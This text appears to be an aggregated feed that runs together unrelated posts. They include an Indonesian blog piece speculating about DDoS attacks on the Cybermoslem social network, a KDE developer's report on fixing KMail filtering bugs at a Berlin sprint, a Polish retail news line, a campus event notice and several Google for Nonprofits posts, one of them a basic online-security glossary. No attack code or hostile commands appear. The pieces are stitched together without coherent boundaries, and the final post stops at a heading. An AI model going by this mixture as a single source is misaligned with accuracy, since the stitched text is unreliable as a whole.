Millatfacebook.com diciptakan oleh pemuda Pakistan, pada akhir Mei 2010 yang lalu, khusus untuk memberi alternatif bagi jejaring sosial mania di Pakistan dan penduduk dunia lainnya, setelah terjadinya “gempa bumi Facebook” yang menggemparkan dunia dengan munculnya halaman propaganda “Everybody Draw Mohammed Day”.

Terlepas dari alasan apapun pendiriannya, seharusnya netter tidak menganggap bahwa hadirnya jejaring baru sebagai ancaman sehingga melakukan serangan-serangan terhadap server ataupun apapun yang berafiliasi ke jejaring tersebut. Melihat gambar millatfcebook di atas, sepertinya admin millatfacebook asalnya menggunakan server di wilayah Amerika Serikat. Letak server inilah yang akan memberikan kemudahan lalu lintas bagi penyerang.

Perbedaan dengan millatfacebook, cybermoslem memiliki server yang berada di Indonesia. Sehingga serangan-serangan apapun bisa diketahui sejak dini, kemudian menyiapkan pertahanan dan benteng yang handal dan kuat, agar serangan semacam DDoS tidak terulang kembali. Serangan apapun terhadap jejaring, bentengpertama dalam pertahanan di garda server. Jika servernya kuat dan handal, insya Allah semuanya lancar-lancar.

Serangan susulan bisa saja dan akan terjadi, tetapi dengan server berada di Indonesia, serangan tersebut tidak akan sampai melumpuhkan cybermoslem, sehingga bernasib sama seperti millatfacebook.com.

Penulis tidak akan membuat andaian siapa yang menyerang. Tetapi yang jelas, adalah pihak yang dirugikan atau yang akan dirugikan. Siapa pihak yang dirugikan dengan adanya cybermoslem, penulis memberikan “gambaran kemungkinan” ciri-cirinya, sebagai berikut :

  1. Web jejaring sosial yang memegang mainstream di Indonesia, dengan jumlah pengguna sekarang inimencapai sekitar 500 juta di seluruh dunia. Jejaring ini merasa sudah memiliki Indonesia, sudah mendakwa menjadi penyantun melalui kerjasama dengan beberapa penyedia layanan telekomunikasi yaitu dengan penyediaan “akses gratis” bagi pelanggannya.
  2. Adanya serangan dari pihak yang tidak suka ada nama jejaring berlabel “Islam” atau “Moslem”menjadi populer, apalagi memiliki potensi mengalahkan mainstream yang sudah ada. Adanya cybermoslem, besar atau kecil akan mulai membersihkan label umat Islam yang sekarang ini seakan menjadi sarang teroris. Cybermoslem menjelaskan kepada dunia bahwa umat Islam juga sebenarnya mampu dan bisa menjadi pelopor bagipersahabatan dan dengan gaya hidup Teknologi Informasi, berbaur bersama semua orang dari berbagai negara, ras dan agama, dengan menjunjung nilai perdamaian dan kemanusiaan. Dengah kata lain, serangan terhadap cybermoslem ini, adalah serangan terhadap nilai kemanusiaan dalam diri cybermoslem, yang jelas-jelas bermaksud damai dan santun serta beradab membuka silaturrohim dan persahabatan bersama berbagai jenis umat manusia di bumi ini.

Penulis tidak menyebut bahwa penyerang adalah “musuh Islam” walaupun semua jejaring yang diserang adalah didirikan dan terutama untuk umat Islam. Mereka lebih cenderung sebagai uji coba ketahanan dan reaksi atas hadirnya cybermoslem yang menggemuruh.

Bagi kita orang Indonesia, kita wajib berbangga dengan kerja saudara kita Dola Indra Putra Agam, yng sudah sedemikian hebat membuat jejaring sosial sendiri, untuk dipersembahkan bagi bumi pertiwi Indonesia dan umat Islam dunia. Jejaring yang berkode Joomla ini bebas dipergunakan oleh siapapun.

Mempertimbangkan akan adanya serangan-serangan berikutnya, harapan penulis, melalui tulisan ini, nantinya ada tokoh nasional Indonesia, baik dari kalangan pemerintahan, maupun Non Government Organisation (NGO) bisa segera memberikan dukungan moral dan material bagi kelangsungan cybermoslem, jejaring kebanggaan Indonesia, sehingga cybermoslem bisa menjadi number one di Indonesia, mengalahkan jejaring produk import luar negeri.

sumber :

http://sn.cybermoslem.net/blogs/viewstory/163

http://id.wikipedia.org/wiki/Serangan_DoS


          Three days in Berlin (or improving the pim user experience)        

KDE Project:

Last weekend I've met with some of our old timer KDEPIM developers and some of the newer ones who are interested in KDEPIM or related technologies in the KDAB offices in Berlin.
Being a KDAB employee for a few years already (wow, time is passing quickly), the place was familiar, the people looked familiar. The foosball table was slightly familiar, although some players changed their dresses in order to spread confusion inside the visitor's heads. That is the only reason we've lost against locals with 5-0, 5-0.
Suprisingly enough, the table wasn't used that much. Why? Because people were busy either working and talking. What they talked about I don't know too much, as I focused on some issues I planned to fix, but others can testify that Volker did not sit too much in front of his computers, but was dragged from one place to another for various discussions.
Most of us started on Friday around noon. I won't tell too much about what others did, that is mostly their problem. Especially if they were on the other side of the room and I didn't saw their screens, I can't tell if they worked at all or not. They looked like they did though. ;) I can share some things about what some sitting nearby did. See later.
As recently I became the de-facto maintainer and bugfixer for mail filters, I worked mostly on them. Unfortunately the first attempt to fix a bug failed: a bug that bothers me, although it is not the most reported one. It is about mails not being filtered for a while after a resume from hibernation. It is hard to reproduce, and although I run into it, I couldn't reproduce reliably enough and in a way I can debug it. After fighting with it and realising it won't work, I gave up. See you next time.
Meantime we had some excellent food in an Indian restaurant, then when finally everybody arrived (almost everybody to be honest, plus even some more from KDAB who didn't sign up, but show up there), we were ready to start with presenting the kdepim and Akonadi architecture. Old time pimsters Volker Krause, Kevin Krammer and Tobias Koenig helped me with it, and sometimes saved me, as my knowledge in some area proved to be superficial. We ended up with a pretty impressive drawing on the whiteboard:
Hopefully for those being on site it was understandable.

Time passed, so we went out for dinner to a Greek restaurant at the corner. Nice place, third time being there, good food (seems Berlin has only good eating places). We even saw how Germany won over Ireland. Too bad Steveire (Stephen Kelly) was not there... We continued with some more talks and hacking, then everybody went to their sleeping places.
Some left earlier, some later waiting for remote developers to show up and discuss the patches (he didn't show up).

Day 2
Next day started around 9 o'clock for some. Later for others. I continued with the filter debugging and fixing. I looked at the bugreports and tried to come up with some bugs that are both would help the users and myself. I'm selfish, I want to fix the bugs I run into. ;) One problem that bothered me for a long time is that email content from online IMAP is downloaded even if no filter for IMAP requires it (but a filter for e.g POP3 needs the full content). Now this is fixed and those who use online imap could notice a great speedup in mail syncing (depending on their filter setup). Another often reported issue was duplicating the mails, especially after spam filtering. You've ended up with a mail in the spam folder and a mail in the original place. This could be combined with a conflict dialog shown up as well for that mail. This problem actually revealed a not-well handled case down inside the Akonadi stack that was created by a reordering of filter commands in the filtering code. For those who want technical details: if there was a move action (like "move mail to spam folder") followed by a modify action (like "mark as read"), the filter reordered this to "mark as read" followed by a move. Unfortunately this exposed two problems, (mostly, but not only) IMAP specific: on IMAP you can't modify a mail, instead you create a new one and delete the old. What happened here is that a filter changed the mail (run through bogofilter/spamassasin), then the "mark as read" action was executed, which uploaded the changes, including the changed mail to the IMAP server. This caused a new ID for the item on the IMAP server. The mail with the old ID was deleted. Then the filter agent performed a move, but he had only the *old* ID, before the modifications. The move - if performed between two different resources, like IMAP and local maildir - is technically a copy followed by a delete. The copy worked fine, but the delete didn't. It tried to delete the old mail again (which was gone), not the modified version. That's how you ended up with a duplicate.
The current solution is to reorder the filtering pipeline, so the move is performed before the flag modifications. The extra benefit is that the filtered message is not uploaded again just to be deleted the next second. Speedup, less network traffic, better user experience. This doesn't fix the main problem with Akonadi, but it is an acceptable workaround. The reordering is so far only in the master branch (KDE 4.10), but the relevant code will be backported to the 4.9 branch, so it will be in 4.9.3.
And speaking of conflicts, that was the next hot topic, and one of the often reported bugs. It was mostly caused by conflicting flag changes (read/spam/important/etc), either caused by KMail itself plus the filtering or just KMail. After some discussion we agreed, that reporting conflicts on flag changes doesn't make sense, so we should not bother the user. It is not data loss, and in worst case some flag is reset. In normal case nothing wrong happens, as Akonadi is able to merge two changes in the flags (or so claims Volker).
I have to admit that this fix was not completed at the sprint, I finished it today, as I noticed more code in KDEPIM that didn't disable conflict check on flag changes.
While doing the changes, I did quite some refactoring, cleaning up the code as much as I could do for the parts I touched. The code was originally deep inside KMail (as most of other code), got extracted from it for 4.8.0, and now we are at the stage that we can make the extracted code more cleaner, we can remove some things that doesn't make sense anymore now that the filtering is not inside KMail.
While reading the bug reports, I also run into one indicating that mails arriving to an MBOX account (like /var/spool/mail/username) are not filtered automatically. Sounds like an easy bug to fix and so was it. Now they are filtered.
Finally another annoying issue was fixed: there was no indication that filtering is ongoing. Now when this happens, you can see in the KMail's progress bar.
The net result of the above: faster filtering, less annoying and useless error dialogs for the users. And according to bugzilla, 31 bugs less (some were duplicates though).

Nepomuk...one of the things that, well, so far I was always recommending for users to turn off. Slight detour here: what is Nepomuk and its relation to KMail? Nepomuk helps you to find data. It indexes all kind of data and with some queries you can find e.g every file where my name is mentioned, all email addresses from any file, etc. There is a process that goes through the akonadi data (emails, calendars, etc) and "feeds" to it for Nepomuk to be indexed. Then there are queries and code in KMail accessing Nepomuk: getting email addresses for composer's autocompletion, searching inside mail bodies, tagging your emails with custom tags, etc.
Unfortunately there are problems around it. One is that some queries ae processed quite slowly, that in turn slows down KMail, leading to poor user experience. E.g switching between mails, sending mails, etc. is slow. Or startup is slow or even blocked. I tried to fix the last part as I just run into it, but as this was my very first Nepomuk related patch, I'm not sure 100% succeeded. We found a problem with the Nepomuk API itself, and I informed Vishesh, the Nepomuk developer about it (even if I used non-blocking calls against Nepomuk, one call is blocking without question). He suggested something I might try later, although I'd be more happier if somebody with real Nepomuk knowledge could give a review of the pim Nepomuk usage.
Then there is the Akonadi feeder, that gives the data to Nepomuk. Something is not perfect there and the indexing causes a serious slowdown, where either itself or Nepomuk (actually its storage backend, virtuoso) starts to use the CPU *a lot*. This is the main reason I recommend to users to disable Nepomuk so far. We had Christian Mollekopf the author of the feeder in the sprint, and he worked on some optimizations. Hopefully this will improve the situation. Meantime we (and I) tried to convince Vishesh to use KMail, so he can see himself the problems our users face.

As a break we had another presentation, this time about KMail itself, what components make up KMail, how they are distributed. As far as I saw, this was less interesting to the audience, they rather looked at their computers and hacked on something. Luckily our KMail maintainer, Laurent Montel, is super active, but I wouldn't mind more contributors. Too bad he wasn't at the sprint.

We had a lunch at a nearby place, nothing extra, but the food was (again) good.

What did other do? Let's see what I can remember... Sune dreamed about crypto stuff and composite jobs. He worked on making some cryptographic code asynchronous and started to get faimiliar with kdepim code. I'd not say he picked up the easiest job.
Volker run around all the time, discussed various things like "spanish sync" with Alex Fiestas (see here), database backends with Martin, change recorder with David Faure (who remotely joined the meeting and got lost inside the change recorder code ... he has the solution now in his head, so be patient, we will end up with a better implementation for it that again speeds up Akonadi), job pipelines with me, and who knows what with others, as for a long time he just disappeared with a bunch of developers. They actually ended up in the lobby discussing "stuff". Milian Wolf, who is not (or not yet?) a KDEPIM developer, but mainly a KDevelop one, joined us and used massif to track down some ugly memory usage in KMail. And he did a good job in it. Previously KMail used more and more memory as you navigated between large folders (Alex mentioned some 2GB for him), while now it levels up at one point and doesn't increase. He might blog himself about, as he has also some nice graphs.
Then there were two guys from KDAB, who are old time pim developers (quiz: find their names in this blog), but they cooked something else, not related to KDEPIM, not related concretely to KDE, but to a lower level: to Qt. It is an amazingly cool stuff, but I don't want to give more details. Expect it to be presented a the Qt Developer Days, either in a talk or at the KDAB booth. Don't worry, I'm pretty sure it will be freely available what they did and KDE can enjoy it in the future.
I'm sorry that I don't remember what the rest did. In general I know that Martin Klapetek worked on the social network resources, Mark Gaiser, who recently started to work on KDEPIM stuff eagerly listened to our presentations and worked on a QML calendar application, Alex kept reporting bugs and discussed improvements with Volker, while John Layt, the "timezone KDE guy" worked on plasma calendar related issues.
As a KDE person Chani also joined us for a while, we quickly nominated her as the QML and Plasma person, so all questions related to them were immediately redirected to Chani. Jos Poortvilet was also supposed to join for some talks, but he could show up only on Sunday for personal reasons.
At the end of the day everybody was so busy, so instead of going out for eating, we just ordered some pizza. And most of us stood in the office well past midnight.

Day 3
Well, the above partially happened on Sunday. It was a shorter day for me, due to the late night standup before, and that I had to go to the airport after lunch. A lunch that wasn't exactly as planned. We went out for a Doner Kebab place that is supposed to be the best one in Berlin. It is just a small kiosk on the sidewalk in a street, but man, there was a big queue for it. On a Sunday! Locals says it is worse on weekdays. Even after almost an hour, we still had 10 persons in front of us, my departure time was approaching, so I gave up and instead bought some (quite good) chinese fast-food from a nearby place, then rushed to the airport.
A long journey awaited me with a 3 hour stopover in Munich, but luckily I had a power supply there and even some network (they offer 30 minutes/day/phone number), so I could continue on the work I started at the sprint. After flying and driving another 2.5 hours, I arrived late (or rather early) morning next day back home, and after sleept until around 10. Then I started to work again for KDAB, a work that is just as enjoyable as working for KDE. After all, the two communities has a serious overlap. ;)
That's from the sprint. If you'll be at the Qt Developer Days Europe, we might meet there. I'm looking forward for a good conference.


          CCC uruchomi sklep internetowy        
Marek Kmiecik, który niedawno objął w sieci sklepów obuwniczych CCC stanowisko dyrektora marketingu, szykuje zakrojone na szeroką skalę działania marketingowe. W planach jest także uruchomienie sklepu internetowego - podaje press.pl.
          UNI Sustainability Update        

The UNI community is invited to join the University Sustainability Council to recognize the ongoing sustainability efforts on campus and reflect on what the future holds for sustainability efforts. Father Bud Grant, St. Ambrose University, will be the keynote speaker.

Location: 
Old Central Ballroom, Maucker Union
Wednesday, April 18, 2012 -
9:00 am to 11:00 am
Enter Your Email: 
Name: 
Eric O'Brien
Phone: 
3192737207
Share/Save
          Tools: Tango - Set of scripts and Splunk apps for Honeypot        

          G4NP Around the Globe - Zooming in on Action Against Hunger        

Every dollar and minute count to further your cause and focus on your mission. We’re pleased to highlight nonprofits who were able to make greater impact with fewer resources by using Google tools—from G Suite to Google Ad Grants–made available through Google for Nonprofits (G4NP) at no charge.

Varying in size, scope, and timezones, these nonprofits from around the world share one thing in common: utilizing the G4NP suite of tools to help their specific needs. G4NP offers nonprofit organizations across 50 countries access to Google tools like Gmail, Google Calendar, Google Ad Grants and more at no cost. This week, we’ll take a look at how the nonprofit Action Against Hunger utilizes these tools to increase productivity, visibility, and donations,  in order to improve lives in  the communities they serve.

Action Against Hunger

In 2016 alone, Action Against Hunger provided nourishment to over 1.5 million starving children(1). In order to save lives with nutritional programs, Action Against Hunger looked to Google for aid—not for food, but for technology. Action Against Hunger now utilizes five Google technologies that have drastically improved their ability to save lives around the globe.

Raising Awareness with Google Ad Grants & Analytics

For major international emergencies, like the Ebola outbreak or the South Sudan famine, Action Against Hunger needs a way to inform people and recommend ways to get involved. With Ad Grants, the nonprofit activates targeted keywords relating to the crises to drive people to their page and empower them to take action. Google Analytics then allows them to track their effectiveness and adjust accordingly to increase engagement and improve their fundraising techniques. With this data-driven strategy and the tools’ ability to optimize campaigns, Action Against Hunger has nearly doubled funding year-over-year. In fact, Ad Grants brought 158,000 people to their website in the past year alone, raising $66,000 which is equal to treating 1,466 hungry children.

Ad Grants brought 158,000 people to their website in the past year alone, raising $66,000 which is equal to treating 1,466 hungry children.

Increasing Productivity with G Suite

When working with a global network and managing hundreds of programs abroad, collaboration and communication are key. After experiencing unnecessary latencies in their operations, Action Against Hunger has since adopted G Suite which streamlined their workflow. The nonprofit is especially fond of Gmail, Hangouts, and Drive where Action Against Hunger employees can message each other quickly, share files securely, and collaborate on Docs in real-time—avoiding duplication of efforts and saving time.

Fundraising with One Today & YouTube

To drive donations and expand awareness to broad audiences, Action Against Hunger uses One Today, a Google app that allows users to easily donate $1 or more towards causes they care about. Campaigning on One Today on World Food Day in 2016,  Action Against Hunger raised more than $1,200 in support of their cause with each dollar going directly helping those in need. Additionally, Action Against Hunger creates and shares content on YouTube to reach their global audience, and is  beginning to use the YouTube donation cards to further increase donations. The large exposure and website referrals from both YouTube and Google+ helped Action Against Hunger raise over $20,000.

Using Google products Action Against Hunger gained extra time and energy to focus on what really matters: feeding the hungry.

To read more about Action Against Hunger’s story and learn how they used Google tools so effectively, visit our Google for Nonprofits Community Stories page. Stay tuned in the coming weeks for more inspirational stories about nonprofits using technology to help their cause.

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

Footnote:  Statements are provided by Nonprofits that received products as part of the Google for Nonprofits program, which offers products at no charge to qualified nonprofits.



          2016 Year in Review        

2016 was a year of many things - changes, challenges and opportunities. But above all else, 2016 was a year where you continued your work to change the world; to bring the world a little closer to finding common ground amongst peace, progress, and innovation.

As 2016 comes to a close, Google for Nonprofits took one final opportunity to reflect on a year past and look forward to the year ahead.  So without further ado, here are the top posts from 2016 from your friends at Google for Nonprofits.

Screen Shot 2016-12-22 at 3.54.11 PM.png

From LA to Tokyo: YouTube Spaces opens production studios to nonprofits free of charge

From LA to London, Tokyo to Mumbai, Berlin to São Paulo, YouTube Spaces empower nonprofits by providing them exclusive access to the best production resources around — all at no cost. All enrolled nonprofits with 1,000 or more subscribers are now eligible to apply for production access at YouTube Spaces.

Screen Shot 2016-12-22 at 3.54.53 PM.png

Unlocking your nonprofit's data insights: Linking Ad Grants and Google Analytics

So you’re using Ad Grants - our in-kind advertising solution for nonprofits which allows you to run text ads on Google Search - and you’re looking for more insights? Google Analytics is your go-to tool for providing insights into user behavior, which can be used to inform Google Ad Grants, as well as website optimization. By syncing data and using Ad Grants & Analytics in tandem, you can boost the quality of traffic reaching your site and increase the chance of visitors completing a meaningful action on your NGO’s page.

Benefits of Linking your Google Analytics and Adwords Accounts

Four ways to keep your nonprofit safe & secure online

“How do we keep our nonprofit (and the community we serve) safe and secure online?” In 2016, we partnered with Google’s User Advocacy Group to share four smart tips to keep your nonprofit, your users, and you safe online.

safety_security_g4np.width-600.png

What do you and your nonprofit want to learn in the new year? Leave a comment below, and we’ll work on learning together in 2017.

Lastly, we so appreciate all nonprofits’ unwavering dedication to changing the world. We wish all nonprofits and their communities a peaceful holiday season and a joyful new year.

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.


          A nonprofit's guide to online security: So you want to learn the lingo?        
This year marks the 25th anniversary of the World Wide Web becoming publicly available. For many of us, this is a reminder of just how much the Internet has transformed our daily lives. This rings true for nonprofits too: The Internet has revolutionized the way that nonprofits communicate, fundraise, and recruit volunteers. It has enabled nonprofits like yours to share their mission with a global audience. To raise awareness. And to change the world. 

But the power of the Internet also comes with great responsibility -- namely the need to keep information safe and secure. As a nonprofit, it can be difficult to keep up with online security, especially when terminology seems complicated. Yes, you might have heard of terms like “phishing” or “cookies,” but what do they mean?

Today, you can find the answers to your questions with our quick & easy to guide to online security terminology. In less than five minutes, you’ll be well on the way to helping keep your nonprofit safe on the Internet. 

Let’s get started! Here’s a quick guide to familiarize yourself with common lingo and learn how to distinguish terms that are friends vs foes in the online security realm. 


THE BAD GUYS: MALICIOUS ACTIONS/TERMS

  • Advanced Fee Fraud (419 scams): A technique which tricks users into sending or paying money to fraudsters on the promise of receiving greater rewards afterwards. It is most commonly associated with Nigeria, and 419 is the section of the Nigerian legal code that covers this fraud.
  • Botnet: A network of computers that are infected with malicious software without users’ knowledge, used to send viruses and spam to other computers.
  • Malware: Malicious software with the purpose of infecting devices and systems, gathering personal information, gaining access to systems or disrupting the operations of the device or systems. Essentially, any software that maliciously alters or compromises the system or device.
  • Phishing / Social Engineering Attack: An attempt by hackers who pose as trustworthy individuals or businesses in order to get your personal information such as usernames, passwords, and financial information.
  • Trojans: Malicious programs posing as or bundled with legitimate ones, which are designed to compromise your system. They are usually installed on computers from opening attachments in scam emails or by visiting infected websites. The term comes from the Trojan Horse in Greek mythology.

How to avoid social engineering attacks

THE GOOD GUYS: ONLINE SAFETY TERMS


  • [Internet] Cookie: A piece of data from a visited website and stored in the user's web browser in order to remember information that the user has entered or engaged with such as items in a shopping basket on an e-commerce site.
  • Encryption: The process of encoding data, messages, or information, such that only authorized parties can read it.
  • Firewall: A security system used to block hackers, viruses, and other malicious threats to your computer. It does this by acting as a barrier, acting on predetermined rules, which allows trusted traffic but blocks untrusted or non-secure traffic. 
  • HTTPS (Hypertext Transfer Protocol): is the protocol for secure communications over a computer network used on the Internet. It essentially provides authentication of the website and the web servers associated with it. 
  • Transport Layer Security (TLS): TLS is a protocol that encrypts and delivers mail securely, both for inbound and outbound mail traffic. It helps prevent eavesdropping between mail servers – keeping your messages private while they're moving between email providers. 
  • Two Factor Authentication / Two Step Verification: A method of using an additional process to verify your identity online. It combines both ‘something you know’ (like a password) and ‘something you have’ (like your phone or security key) — similar to withdrawing money from an ATM/cash machine, where you need both your PIN and your bank card.

That’s a wrap for now! Pass on these tips to your nonprofit partners to stay safe and secure online, so you can focus on what matters most: changing the world. 

//

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.


          3 Reasons why Chromebooks might be a good fit for your nonprofit        
Nonprofits - 08_11 - Chromebooks.JPG

When we speak with nonprofit organizations, we often hear about the challenges related to technological resources. So when it comes to investing in new technology, it’s important to consider three primary factors:

  • Security: Does it keep my information private and secure?
  • Compatibility: Does it work with the programs I use?
  • Price: Is it within budget?
To address these questions, Google created the Chromebook, a series of laptops built with ChromeOS. The vision behind Chromebooks is simple — to create a safe, accessible, and affordable laptop. To improve user privacy and security, Chromebooks  automatically update to provide virus protection, encryption and safe browsing. For easy access and collaboration, they’re outfitted with Gmail, Google Docs, Hangouts (and nonprofits receive the full Google Apps bundle with 30GB of space per user at no charge). What’s more, they start at $169 USD & that’s for a laptop that has up to 10+ hours of battery life!
Nonprofits_-_08_11_-_Chromebooks2.width-1600.png
ASUS Chromebook C201 ($169)

Case Study

Charity:water, a non-profit organization that provides clean and safe drinking water to people in developing countries, has a “100 percent model,” where every dollar donated goes directly to fund clean water projects. As a result, resources are limited. In order to cover operational costs like salaries and supplies, the organization relies on a few passionate and dedicated supporters. With this in mind, Charity:water transitioned to Chromebooks to improve the efficiency of its staff’s workflow. Now, employees can spend more time focusing on their goals and working towards their mission to nourish the world.

Want to learn more?

Chromebooks gives nonprofits unified access to the Google Apps suite, including:

  • Google Docs, Sheets, Slides: Allows you to create documents, spreadsheets, and presentations in real time. They’re automatically backed up online, and you can also open and edit Microsoft Word, Powerpoint or Excel files.
  • Google Hangouts: Google Hangouts can be used to make phone calls, screenshare, and video chat.
  • Google Drive: Store, sync, and share documents in the cloud for secure and easy access.

As a nonprofit, you also receive discounted access to Chrome licenses, which give you management controls via the Chrome Device Management. Chrome Device Management is a unified way to manage all of your nonprofits’ users, devices, and data. For nonprofits, the Chrome management license is discounted to only $30 dollars — in comparison to $150!

Chromebooks are our vision for providing cheaper, easier to use, and more secure laptops. Installed with Google Apps out of the box, nonprofits can maximize impact, while saving both time and resources.


To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

To learn more about Chromebooks for nonprofits, take a look at Google for Work’s Chromebook’s website. To take advantage of the Google Nonprofit license discount, a Google partner will reach out to you once you fill out the Contact Us form.


          Unlocking your nonprofit's data insights: Linking Ad Grants and Google Analytics        

So you’re a savvy nonprofit that has mastered Ad Grants? Read on! 

You’re a group of community leaders who know the impact of data. And who know that technology can help you leverage that.     

Like many other businesses, it’s critical for nonprofits to translate clicks on ads into a meaningful action on their nonprofit’s website. These actions could be donations, event registrations, file downloads, volunteer sign-ups or form completions — whatever it is that you’re compelling users to do.

Nonprofits like yours, however, often come to us with an important question: “How do we know if our Ad Grants account is actually resulting in these increased actions?” Great question!Our answer is simple, yet we hope it’s powerful too: Google Analytics.

Google Analytics is your go-to tool for providing insights into user behavior, which can be used to inform Ad Grants, as well as website optimization. By syncing data and using AdGrants & Analytics in tandem, you can boost the quality of traffic reaching your site and increase the chance of visitors completing a meaningful action on your NGO’s page. Best of all, Analytics can be used by nonprofits at no charge.

To get started, we strongly recommend defining your team’s marketing objectives. (If you haven’t set up goals yet, check out Smart Goals, which were designed with groups like nonprofits in mind.)

Then, link your Google Analytics account to your Google Ad Grants account to see your data. (Find out how to do so here: Link Analytics and Ad Grants). In doing so, you’ll unlock insights into your Ad Grants campaign. For instance, what happens after someone clicks on your Ad Grants ad and lands on your site? How does it differ by geographical region? Or how does user behavior differ between services offered?

Going forward, you can also track your nonprofit’s marketing goals in Google Analytics to understand how traffic from your Ad Grants campaigns is converted to meaningful action on your website. To do so, import your goals into Ad Grants as conversions.

Now, you’ll be able to see traffic quality data such as bounce rate, pages per session and average session duration for campaigns, ad groups, and keywords within Ad Grants. By adding goals as conversions, you’ll get the data you need to understand which text ads showing for keywords resonate best with your target audience.

Why, you might ask, is all this important for your nonprofit?

Take Science Buddies, a nonprofit that was one of the earliest adopters of the Google Ad Grants program, joining in 2003. Science Buddies then received 171,000 unique visits in 2004 via Ad Grants, with this number increasing by 4.5X to 773,000 unique visits in 2005. By 2006, Google Ad Grants had doubled the traffic to the website altogether. “Ad Grants really put us on the map!” said Kenneth Hess, President and Founder of Science Buddies.

The takeaway here is that the more you optimize, the better chance you have of improving your quality score — a key metric in an Ad Grants account! And more importantly, the better chance you have of authentically connecting with users who are trying to change the world along with with your nonprofit and you. 


Sign up for Google Ad Grants here.

For more information on how to get started and country availability, please visit our Ad Grants Help Center. To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more — all at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here. 


Science Buddies’ statements are made in connection with receiving in-kind donations as a participant in the Ad Grants program.


          HAPPY 13TH BIRTHDAY, Google Ad Grants        
Happy 13th birthday, Google Ad Grants! We launched Ad Grants 13 years ago to offer nonprofits a free online advertising solution to share their causes with the world. 

Over the years, we’ve learned a lot together about what it means to be a nonprofit in the digital age. And as the industry landscape has changed, we’ve aimed to ensure that AdWords consistently helps to deliver your mission online. 


We’ve celebrated the ability of groups to change the world — one day, one person, one place at a time. At the same time, we’ve also come to understand the challenges of the nonprofit sector by both listening to your stories, as well as working directly alongside you. In doing so, we recognized that nonprofits struggle to find the time or resources to manage an AdWords account. So in 2015, we launched AdWords Express for Ad Grants as a part of Google for Nonprofits.

AdGrantsInfographic.width-495.png
With nonprofits’ limited time and resources in mind, we created AdWords Express to be an automated advertising solution that serves the same effective ads on Google Search as standard AdWords. AdWords Express requires less ongoing maintenance than AdWords, while still delivering an exceptional experience for Ad Grantees. 


With AdWords Express, your nonprofit can create an online ad quickly and easily, attracting more users to your website. There’s minimal ongoing management necessary, and AdWords Express runs and automatically optimizes your ads for you. Much like AdWords though, you can still reach customers on desktop computers and mobile devices (such as smartphones and tablets), as well as review the effectiveness of your ads in your dashboard. 


Sign up for Google Ad Grants here. For more information on AdWords Express, how to get started, and country availability, please visit our Ad Grants Help Center. 


To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here. 


          Competing for a better, more inclusive world at the 2015 Special Olympics World Games        

When athletes from around the world come together, some of them compete for the glory of winning. When the 6,500 athletes from across the globe competed at the 2015 Special Olympics World Games, they were playing for so much more — acceptance and inclusion of people with intellectual disabilities.   

Special Olympics
In order to bring together thousands of athletes, tens of thousands of volunteers, half a million spectators, and tens of millions of dollars in donations, the World Games Organizing Committee had a herculean task ahead of them. They needed technology that could keep up with their ambitious goals. 


Growing an audience for the World Games was paramount. With Google Ad Grants to run an AdWords campaign and Google Analytics to track behavior on their site, they were able to get their message in front of millions of people. Instead of flying around the world to train their many volunteers, they relied on Google Hangouts to efficiently and cost-effectively spread their knowledge. Twenty-five different sporting events means a lot of things to keep track of. They used Google Sheets to ensured everyone stayed on the same page and Google Sites to publicize the transportation schedule. 

As Patrick McClenahan, President & CEO of the 2015 Special Olympics World Games says, “When people are educated, inspired and engaged, hearts and minds are changed.” Carrying their message further means a more inclusive world for us all. 

Watch members of the World Games explain how they used Google tools here.


          Broadway Unlocked shares five lessons learned from hosting a livestream benefit        
Each year, one in six people in the U.S. will be victims of violent crimes. Two years ago, we became part of the effort to change that, when we began work with Broadway Unlocked. 

Two years ago, we met Jessica Ryan — a woman whose mission is rooted in two seemingly unique spheres: celebrating live theatre and helping survivors of interpersonal violence. Jessica founded the  Broadway Unlocked #giveback concert, a livestream, interactive benefit concert aimed at connecting the two communities and helping raise awareness and donations for the Crime Victims Treatment Center (CVTC). The CVTC, New York State’s largest and most comprehensive hospital-based victim assistance program, provides therapy and services to survivors of assault, abuse and violence. All treatments at CVTC are free.

In an effort to reach a larger audience and expand the nonprofit’s donor base, Broadway Unlocked collaborated with Google for Nonprofits to broadcast the show and spread the message globally in 2016. On February 22, Google for Nonprofits helped bring Broadway to YouTube for the second year in a row with one night of song and social responsibility through the concert. To bring the show beyond NYC, Google Fiber hosted a watch party at the Fiber space with local Kansas City theatre groups and community members. 

This was a Broadway show unlike any other. This was Broadway with a variety of star performers, including Kyle Dean Massey, Carolee Carmello, Ali Stroker, Natalie Weiss, and Collabro. This was Broadway hosted by Google Fiber. Streamed via Google Hangouts on Air. And fueled in part by fundraising through donation cards on YouTube. This was Broadway on the internet -- crowdfunded and broadcast for one night only.

How did Broadway Unlocked make their globally livestreamed and crowdfunded event a success? We’re turning the mic towards Broadway Unlocked to hear what they learned.

5 Lessons Learned from Hosting a Livestream Benefit

